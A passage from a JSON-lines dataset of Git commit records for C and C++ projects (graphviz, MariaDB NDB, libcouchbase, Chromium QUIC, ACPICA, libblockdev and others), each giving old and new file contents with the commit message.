Inc., 51 Franklin St, Fifth Floor, Boston,\n     MA 02110-1301  USA\n=========================================================================*\/\n#ifndef __XIOTConfigure_h\n#define __XIOTConfigure_h\n\n#include \"xiot_export.h\"\n\n#if defined(_MSC_VER)\n#pragma warning(disable : 4275) \/* non-DLL-interface base class used *\/\n#pragma warning(disable : 4251) \/* needs to have dll-interface to be used by clients *\/\n#pragma warning(disable : 4996) \/* *\/\n#endif\n\n#endif  \/\/ __x3dexporterConfigure_h\n","subject":"Disable secure function warnings via pragma","message":"MSVC: Disable secure function warnings via pragma\n","lang":"C","license":"lgpl-2.1","repos":"Supporting\/xiot,Supporting\/xiot,Supporting\/xiot"}
{"commit":"66c950522a3563c96cb7d4aca0ba4e940b769462","old_file":"includes\/StackAllocator.h","new_file":"includes\/StackAllocator.h","old_contents":"#include \"LinearAllocator.h\"\n\n#ifndef STACKALLOCATOR_H\n#define STACKALLOCATOR_H\n\nclass StackAllocator : public LinearAllocator {\npublic:\n\t\/* Allocation of real memory *\/\n\tStackAllocator(const long totalSize);\n\n\t\/* Frees all memory *\/\n\tvirtual ~StackAllocator();\n\n\t\/* Allocate virtual memory *\/\n\tvirtual void* Allocate(const std::size_t size, const std::size_t alignment) override;\n\n\t\/* Frees virtual memory *\/\n\tvirtual void Free(void* ptr) override;\n\n};\n\n#endif \/* STACKALLOCATOR_H *\/","new_contents":"#include \"Allocator.h\"\n\n#ifndef STACKALLOCATOR_H\n#define STACKALLOCATOR_H\n\nclass StackAllocator : public Allocator {\nprotected:\n\t\/* Offset from the start of the memory block *\/\n\tstd::size_t m_offset;\npublic:\n\t\/* Allocation of real memory *\/\n\tStackAllocator(const long totalSize);\n\n\t\/* Frees all memory *\/\n\tvirtual ~StackAllocator();\n\n\t\/* Allocate virtual memory *\/\n\tvirtual void* Allocate(const std::size_t size, const std::size_t alignment) override;\n\n\t\/* Frees virtual memory *\/\n\tvirtual void Free(void* ptr) override;\n\n\t\/* Frees all virtual memory *\/\n\tvirtual void Reset() override;\n};\n\n#endif \/* STACKALLOCATOR_H *\/","subject":"Change parent class from LinearAllocator to Allocator.","message":"Change parent class from LinearAllocator to Allocator.\n","lang":"C","license":"mit","repos":"mtrebi\/memory-allocators"}
{"commit":"e5410c25e5287699260ba3d3ecd188faaf30e499","old_file":"cmd\/lefty\/display.h","new_file":"cmd\/lefty\/display.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/* Lefteris Koutsofios - AT&T Bell Laboratories *\/\n\n#ifndef _DISPLAY_H\n#define _DISPLAY_H\n    void Dinit(void);\n    void Dterm(void);\n    void Dtrace(Tobj, int);\n#endif\t\t\t\t\/* _DISPLAY_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n    \n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* Lefteris Koutsofios - AT&T Labs Research *\/\n\n#ifndef _DISPLAY_H\n#define _DISPLAY_H\nvoid Dinit (void);\nvoid Dterm (void);\nvoid Dtrace (Tobj, int);\n#endif \/* _DISPLAY_H *\/\n\n#ifdef __cplusplus\n}   \n#endif\n","subject":"Update with new lefty, fixing many bugs and supporting new features","message":"Update with new lefty, fixing many bugs and supporting new features\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,tkelman\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz"}
{"commit":"8adf0536c9fb578a8542dcf81104d3438a5287e4","old_file":"fs\/ocfs2\/stack_user.c","new_file":"fs\/ocfs2\/stack_user.c","old_contents":"","new_contents":"\/* -*- mode: c; c-basic-offset: 8; -*-\n * vim: noexpandtab sw=8 ts=8 sts=0:\n *\n * stack_user.c\n *\n * Code which interfaces ocfs2 with fs\/dlm and a userspace stack.\n *\n * Copyright (C) 2007 Oracle.  All rights reserved.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public\n * License as published by the Free Software Foundation, version 2.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * General Public License for more details.\n *\/\n\n#include <linux\/module.h>\n\n#include \"stackglue.h\"\n\n\nstatic int __init user_stack_init(void)\n{\n\treturn 0;\n}\n\nstatic void __exit user_stack_exit(void)\n{\n}\n\nMODULE_AUTHOR(\"Oracle\");\nMODULE_DESCRIPTION(\"ocfs2 driver for userspace cluster stacks\");\nMODULE_LICENSE(\"GPL\");\nmodule_init(user_stack_init);\nmodule_exit(user_stack_exit);\n","subject":"Add the user stack module.","message":"ocfs2: Add the user stack module.\n\nAdd a skeleton for the stack_user module.  It's just the barebones module\ncode.\n\nSigned-off-by: Joel Becker <823d0e2e55da83c1616b20ae9a15f9456fa076e5@oracle.com>\nSigned-off-by: Mark Fasheh <8f0bc92cac940f3e83deb53ced7a1f201bce5732@suse.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"05c6f77912696091da5bda1c47ca9b92d6b4aff7","old_file":"AVOS\/AVOSCloudLiveQuery\/AVSubscription.h","new_file":"AVOS\/AVOSCloudLiveQuery\/AVSubscription.h","old_contents":"\/\/\n\/\/  AVSubscription.h\n\/\/  AVOS\n\/\/\n\/\/  Created by Tang Tianyong on 15\/05\/2017.\n\/\/  Copyright © 2017 LeanCloud Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"AVQuery.h\"\n#import \"AVDynamicObject.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol AVSubscriptionDelegate <NSObject>\n\n@end\n\n@interface AVSubscriptionOptions : AVDynamicObject\n\n@end\n\n@interface AVSubscription : NSObject\n\n@property (nonatomic, weak, nullable) id<AVSubscriptionDelegate> delegate;\n\n@property (nonatomic, strong, readonly) AVQuery *query;\n@property (nonatomic, strong, readonly, nullable) AVSubscriptionOptions *options;\n\n- (instancetype)initWithQuery:(AVQuery *)query\n                      options:(nullable AVSubscriptionOptions *)options;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  AVSubscription.h\n\/\/  AVOS\n\/\/\n\/\/  Created by Tang Tianyong on 15\/05\/2017.\n\/\/  Copyright © 2017 LeanCloud Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"AVQuery.h\"\n#import \"AVDynamicObject.h\"\n\n@class AVSubscription;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol AVSubscriptionDelegate <NSObject>\n\n- (void)subscription:(AVSubscription *)subscription objectDidEnter:(id)object;\n- (void)subscription:(AVSubscription *)subscription objectDidLeave:(id)object;\n\n- (void)subscription:(AVSubscription *)subscription objectDidCreate:(id)object;\n- (void)subscription:(AVSubscription *)subscription objectDidUpdate:(id)object;\n- (void)subscription:(AVSubscription *)subscription objectDidDelete:(id)object;\n\n- (void)subscription:(AVSubscription *)subscription userDidLogin:(AVUser *)user;\n\n@end\n\n@interface AVSubscriptionOptions : AVDynamicObject\n\n@end\n\n@interface AVSubscription : NSObject\n\n@property (nonatomic, weak, nullable) id<AVSubscriptionDelegate> delegate;\n\n@property (nonatomic, strong, readonly) AVQuery *query;\n@property (nonatomic, strong, readonly, nullable) AVSubscriptionOptions *options;\n\n- (instancetype)initWithQuery:(AVQuery *)query\n                      options:(nullable AVSubscriptionOptions *)options;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add callbacks for live query","message":"Add callbacks for live query\n","lang":"C","license":"apache-2.0","repos":"leancloud\/objc-sdk,leancloud\/objc-sdk,leancloud\/objc-sdk,leancloud\/objc-sdk"}
{"commit":"e949472d78298e2a2e5e6e47edfca99ffa6e6a17","old_file":"quickpather\/passabilityagent.h","new_file":"quickpather\/passabilityagent.h","old_contents":"#ifndef PASSABILITYAGENT_H\n#define PASSABILITYAGENT_H\n\n#include <QPointF>\n#include <QObject>\n\n#include \"quickpather_global.h\"\n\nclass AbstractEntity;\n\n\/\/ Not pure abstract, because we want it to be usable in the Q_PROPERTY macro\n\/\/ and not force derived classes to multiply derive from it and QObject.\nclass QUICKPATHERSHARED_EXPORT PassabilityAgent : public QObject\n{\npublic:\n    virtual bool isPassable(const QPointF &pos, AbstractEntity *entity);\n};\n\n#endif \/\/ PASSABILITYAGENT_H\n","new_contents":"#ifndef PASSABILITYAGENT_H\n#define PASSABILITYAGENT_H\n\n#include <QPointF>\n#include <QObject>\n\n#include \"quickpather_global.h\"\n\nclass AbstractEntity;\n\n\/\/ Not pure abstract, because we want it to be usable in the Q_PROPERTY macro\n\/\/ and not force derived classes to multiply derive from it and QObject.\nclass QUICKPATHERSHARED_EXPORT PassabilityAgent : public QObject\n{\n    Q_OBJECT\npublic:\n    virtual bool isPassable(const QPointF &pos, AbstractEntity *entity);\n};\n\n#endif \/\/ PASSABILITYAGENT_H\n","subject":"Add missing Q_OBJECT to PassabilityAgent","message":"Add missing Q_OBJECT to PassabilityAgent\n","lang":"C","license":"unlicense","repos":"mitchcurtis\/quickpather,mitchcurtis\/quickpather"}
{"commit":"8ee124176690ed611c8851e3dd50a823c498a08b","old_file":"ndb\/src\/common\/portlib\/NdbSleep.c","new_file":"ndb\/src\/common\/portlib\/NdbSleep.c","old_contents":"\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n\n#include <ndb_global.h>\n#include <NdbSleep.h>\n\nint\nNdbSleep_MilliSleep(int milliseconds){\n  int result = 0;\n  struct timespec sleeptime;\n  sleeptime.tv_sec = milliseconds \/ 1000;\n  sleeptime.tv_nsec = (milliseconds - (sleeptime.tv_sec * 1000)) * 1000000;\n  result = nanosleep(&sleeptime, NULL);\n  return result;\n}\n\nint\nNdbSleep_SecSleep(int seconds){\n  int result = 0;\n  result = sleep(seconds);\n  return result;\n}\n\n\n","new_contents":"\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n\n#include <ndb_global.h>\n#include <my_sys.h>\n#include <NdbSleep.h>\n\nint\nNdbSleep_MilliSleep(int milliseconds){\n  my_sleep(milliseconds*1000);\n  return 0;\n#if 0\n  int result = 0;\n  struct timespec sleeptime;\n  sleeptime.tv_sec = milliseconds \/ 1000;\n  sleeptime.tv_nsec = (milliseconds - (sleeptime.tv_sec * 1000)) * 1000000;\n  result = nanosleep(&sleeptime, NULL);\n  return result;\n#endif\n}\n\nint\nNdbSleep_SecSleep(int seconds){\n  int result = 0;\n  result = sleep(seconds);\n  return result;\n}\n\n\n","subject":"Use my_sleep instead of nanosleep for portability","message":"Use my_sleep instead of nanosleep for portability\n\n\n\n","lang":"C","license":"lgpl-2.1","repos":"natsys\/mariadb_10.2,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,natsys\/mariadb_10.2,ollie314\/server,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,ollie314\/server,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,natsys\/mariadb_10.2,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,davidl-zend\/zenddbi,ollie314\/server,davidl-zend\/zenddbi,ollie314\/server,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,ollie314\/server,slanterns\/server,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,natsys\/mariadb_10.2,natsys\/mariadb_10.2,natsys\/mariadb_10.2,davidl-zend\/zenddbi,davidl-zend\/zenddbi,ollie314\/server,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,ollie314\/server,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,ollie314\/server"}
{"commit":"b9e62a6c98648d2c0b722c0bdd1e77f6fe4a1604","old_file":"cuser\/acpica\/acenv_header.h","new_file":"cuser\/acpica\/acenv_header.h","old_contents":"#define ACPI_MACHINE_WIDTH 64\n#define ACPI_SINGLE_THREADED\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_INLINE inline\n#define ACPI_USE_NATIVE_DIVIDE\n\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\n#ifdef ACPI_FULL_DEBUG\n#define ACPI_DEBUG_OUTPUT\n#define ACPI_DISASSEMBLER\n\n\/\/ Depends on threading support\n#define ACPI_DEBUGGER\n\/\/#define ACPI_DBG_TRACK_ALLOCATIONS\n\n#define ACPI_GET_FUNCTION_NAME __FUNCTION__\n#else\n#define ACPI_GET_FUNCTION_NAME \"\"\n#endif\n\n#define ACPI_PHYS_BASE 0x100000000\n\n#include <stdint.h>\n#include <stdarg.h>\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n\nstruct acpi_table_facs;\nuint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs);\nuint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs);\n\n#define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr)\n#define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr)\n\n","new_contents":"#define ACPI_MACHINE_WIDTH 64\n#define ACPI_SINGLE_THREADED\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_INLINE inline\n#define ACPI_USE_NATIVE_DIVIDE\n\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\n#ifdef ACPI_FULL_DEBUG\n#define ACPI_DEBUG_OUTPUT\n#define ACPI_DISASSEMBLER\n\n\/\/ Depends on threading support\n#define ACPI_DEBUGGER\n\/\/#define ACPI_DBG_TRACK_ALLOCATIONS\n\n#define ACPI_GET_FUNCTION_NAME __FUNCTION__\n#else\n#define ACPI_GET_FUNCTION_NAME \"\"\n#endif\n\n#define ACPI_PHYS_BASE 0x100000000\n\n#include <stdint.h>\n#include <stdarg.h>\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n\nstruct acpi_table_facs;\nuint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs);\nuint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs);\n\n#define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr)\n#define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr)\n\n#define COMPILER_DEPENDENT_UINT64 uint64_t\n#define COMPILER_DEPENDENT_UINT32 uint32_t\n","subject":"Fix ACPICA word-size types - u64 didn't match UINT64","message":"Fix ACPICA word-size types - u64 didn't match UINT64\n","lang":"C","license":"mit","repos":"olsner\/os,olsner\/os,olsner\/os,olsner\/os"}
{"commit":"8ea9653b3dccad78a2bb9b91adf0589828bff327","old_file":"src\/core\/matcher.h","new_file":"src\/core\/matcher.h","old_contents":"#ifndef HAMCREST_MATCHER_H\n#define HAMCREST_MATCHER_H\n\n#include \"selfdescribing.h\"\n\nnamespace Hamcrest {\n\nclass Description;\n\n\/**\n * A matcher over acceptable values.\n * A matcher is able to describe itself to give feedback when it fails.\n *\n * @see BaseMatcher\n *\/\ntemplate <typename T>\nclass Matcher : public SelfDescribing\n{\npublic:\n    virtual ~Matcher()  {}\n\n    \/**\n     * Evaluates the matcher for argument <var>item<\/var>.\n     *\n     * @param item the object against which the matcher is evaluated.\n     * @return <code>true<\/code> if <var>item<\/var> matches, otherwise <code>false<\/code>.\n     *\n     * @see BaseMatcher\n     *\/\n    virtual bool matches(const T &item) const = 0;\n\n    \/**\n     * Generate a description of why the matcher has not accepted the item.\n     * The description will be part of a larger description of why a matching\n     * failed, so it should be concise.\n     * This method assumes that <code>matches(item)<\/code> is false, but\n     * will not check this.\n     *\n     * @param item The item that the Matcher has rejected.\n     * @param mismatchDescription\n     * The description to be built or appended to.\n     *\/\n    virtual void describeMismatch(const T &item, Description &mismatchDescription) const = 0;\n};\n\n} \/\/ namespace Hamcrest\n\n#endif \/\/ HAMCREST_MATCHER_H\n","new_contents":"#ifndef HAMCREST_MATCHER_H\n#define HAMCREST_MATCHER_H\n\n#include \"selfdescribing.h\"\n\nnamespace Hamcrest {\n\nclass Description;\n\n\/**\n * A matcher over acceptable values.\n * A matcher is able to describe itself to give feedback when it fails.\n *\n * @see BaseMatcher\n *\/\ntemplate <typename T>\nclass Matcher : public SelfDescribing\n{\npublic:\n    virtual ~Matcher()  {}\n\n    \/**\n     * Evaluates the matcher for argument <var>item<\/var>.\n     *\n     * @param item the object against which the matcher is evaluated.\n     * @return <code>true<\/code> if <var>item<\/var> matches, otherwise <code>false<\/code>.\n     *\n     * @see BaseMatcher\n     *\/\n    virtual bool matches(const T &item) const = 0;\n\n    \/**\n     * Generate a description of why the matcher has not accepted the item.\n     * The description will be part of a larger description of why a matching\n     * failed, so it should be concise.\n     * This method assumes that <code>matches(item)<\/code> is false, but\n     * will not check this.\n     *\n     * @param item The item that the Matcher has rejected.\n     * @param mismatchDescription\n     * The description to be built or appended to.\n     *\/\n    virtual void describeMismatch(const T &item, Description &mismatchDescription) const = 0;\n\n    virtual QString toString() const = 0;\n};\n\n} \/\/ namespace Hamcrest\n\n#endif \/\/ HAMCREST_MATCHER_H\n","subject":"Add virtual toString() to Matcher","message":"Add virtual toString() to Matcher\n","lang":"C","license":"bsd-3-clause","repos":"cloose\/Hamcrest-Qt"}
{"commit":"37c5e9705435e2f23b6949047036504dcd215747","old_file":"src\/lib\/blockdev.h","new_file":"src\/lib\/blockdev.h","old_contents":"#include <glib.h>\n\n#ifndef BD_LIB\n#define BD_LIB\n\n#include \"plugins.h\"\n#include \"plugin_apis\/lvm.h\"\n\ngboolean bd_init (BDPluginSpec *force_plugins);\ngboolean bd_reinit (BDPluginSpec *force_plugins, gboolean replace);\ngchar** bd_get_available_plugin_names ();\ngboolean bd_is_plugin_available (BDPlugin);\n\n\n#endif  \/* BD_LIB *\/\n","new_contents":"#include <glib.h>\n\n#ifndef BD_LIB\n#define BD_LIB\n\n#include \"plugins.h\"\n#include \"plugin_apis\/lvm.h\"\n\ngboolean bd_init (BDPluginSpec *force_plugins);\ngboolean bd_reinit (BDPluginSpec *force_plugins, gboolean replace);\ngchar** bd_get_available_plugin_names ();\ngboolean bd_is_plugin_available (BDPlugin plugin);\n\n\n#endif  \/* BD_LIB *\/\n","subject":"Add missing parameter name in bd_is_plugin_available protype","message":"Add missing parameter name in bd_is_plugin_available protype\n","lang":"C","license":"lgpl-2.1","repos":"atodorov\/libblockdev,rhinstaller\/libblockdev,snbueno\/libblockdev,dashea\/libblockdev,rhinstaller\/libblockdev,rhinstaller\/libblockdev,vpodzime\/libblockdev,vpodzime\/libblockdev,snbueno\/libblockdev,atodorov\/libblockdev,dashea\/libblockdev,vpodzime\/libblockdev,atodorov\/libblockdev"}
{"commit":"88b6b07d8542216690a211419c148fda8ba1a4d7","old_file":"tests\/homebrew-acceptance-test.c","new_file":"tests\/homebrew-acceptance-test.c","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n\n#include <internal.h> \/* getenv, sytem, snprintf *\/\n\nint main(void)\n{\n#ifndef WIN32\n    char *srcdir = getenv(\"srcdir\");\n    char command[FILENAME_MAX];\n    int status;\n\n    snprintf(command, FILENAME_MAX, \"%s\/tools\/cbc version 2>&1\", srcdir);\n    status = system(command);\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n    snprintf(command, FILENAME_MAX, \"%s\/tools\/cbc help 2>&1\", srcdir);\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n#endif\n    return 0;\n}\n\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n\n#include <internal.h> \/* getenv, system, snprintf *\/\n\nint main(void)\n{\n#ifndef WIN32\n    int status;\n\n    status = system(\".\/tools\/cbc version 2>&1\");\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n    status = system(\".\/tools\/cbc help 2>&1\");\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n#endif\n    return 0;\n}\n\n","subject":"Fix 'make distcheck' (homebrew acceptance test)","message":"Fix 'make distcheck' (homebrew acceptance test)\n\nChange-Id: Ie61efb963f30a4548c97dfe63e261db36c2b66e2\nReviewed-on: http:\/\/review.couchbase.org\/27533\nTested-by: Sergey Avseyev <87f6d5e4fd3644c3c20800cde7fd3ad1569370b3@gmail.com>\nReviewed-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"couchbase\/libcouchbase,signmotion\/libcouchbase,uvenum\/libcouchbase,mody\/libcouchbase,trondn\/libcouchbase,avsej\/libcouchbase,mody\/libcouchbase,mnunberg\/libcouchbase,kojiromike\/libcouchbase,couchbase\/libcouchbase,signmotion\/libcouchbase,avsej\/libcouchbase,avsej\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,trondn\/libcouchbase,mnunberg\/libcouchbase,PureSwift\/libcouchbase,maxim-ky\/libcouchbase,uvenum\/libcouchbase,mody\/libcouchbase,couchbase\/libcouchbase,couchbase\/libcouchbase,mody\/libcouchbase,trondn\/libcouchbase,PureSwift\/libcouchbase,senthilkumaranb\/libcouchbase,senthilkumaranb\/libcouchbase,signmotion\/libcouchbase,kojiromike\/libcouchbase,avsej\/libcouchbase,maxim-ky\/libcouchbase,PureSwift\/libcouchbase,senthilkumaranb\/libcouchbase,senthilkumaranb\/libcouchbase,kojiromike\/libcouchbase,maxim-ky\/libcouchbase,couchbase\/libcouchbase,mnunberg\/libcouchbase,avsej\/libcouchbase,uvenum\/libcouchbase,couchbase\/libcouchbase,trondn\/libcouchbase,kojiromike\/libcouchbase,mnunberg\/libcouchbase,uvenum\/libcouchbase,PureSwift\/libcouchbase,avsej\/libcouchbase,mnunberg\/libcouchbase,trondn\/libcouchbase,maxim-ky\/libcouchbase,uvenum\/libcouchbase,signmotion\/libcouchbase"}
{"commit":"c11130f26d609b78e88866c87275794c463171b8","old_file":"net\/quic\/quic_utils.h","new_file":"net\/quic\/quic_utils.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Some helpers for quic\n\n#ifndef NET_QUIC_QUIC_UTILS_H_\n#define NET_QUIC_QUIC_UTILS_H_\n\n#include \"net\/base\/int128.h\"\n#include \"net\/base\/net_export.h\"\n#include \"net\/quic\/quic_protocol.h\"\n\nnamespace gfe2 {\n  class BalsaHeaders;\n}\n\nnamespace net {\n\nclass NET_EXPORT_PRIVATE QuicUtils {\n public:\n  \/\/ The overhead the quic framing will add for a packet with num_frames\n  \/\/ frames.\n  static size_t StreamFramePacketOverhead(int num_frames);\n\n  \/\/ returns the 128 bit FNV1a hash of the data.  See\n  \/\/ http:\/\/www.isthe.com\/chongo\/tech\/comp\/fnv\/index.html#FNV-param\n  static uint128 FNV1a_128_Hash(const char* data, int len);\n\n  \/\/ Returns the name of the quic error code as a char*\n  static const char* ErrorToString(QuicErrorCode error);\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_QUIC_QUIC_UTILS_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Some helpers for quic\n\n#ifndef NET_QUIC_QUIC_UTILS_H_\n#define NET_QUIC_QUIC_UTILS_H_\n\n#include \"net\/base\/int128.h\"\n#include \"net\/base\/net_export.h\"\n#include \"net\/quic\/quic_protocol.h\"\n\nnamespace net {\n\nclass NET_EXPORT_PRIVATE QuicUtils {\n public:\n  \/\/ The overhead the quic framing will add for a packet with num_frames\n  \/\/ frames.\n  static size_t StreamFramePacketOverhead(int num_frames);\n\n  \/\/ returns the 128 bit FNV1a hash of the data.  See\n  \/\/ http:\/\/www.isthe.com\/chongo\/tech\/comp\/fnv\/index.html#FNV-param\n  static uint128 FNV1a_128_Hash(const char* data, int len);\n\n  \/\/ Returns the name of the quic error code as a char*\n  static const char* ErrorToString(QuicErrorCode error);\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_QUIC_QUIC_UTILS_H_\n","subject":"Remove an unused forward declaration.","message":"Remove an unused forward 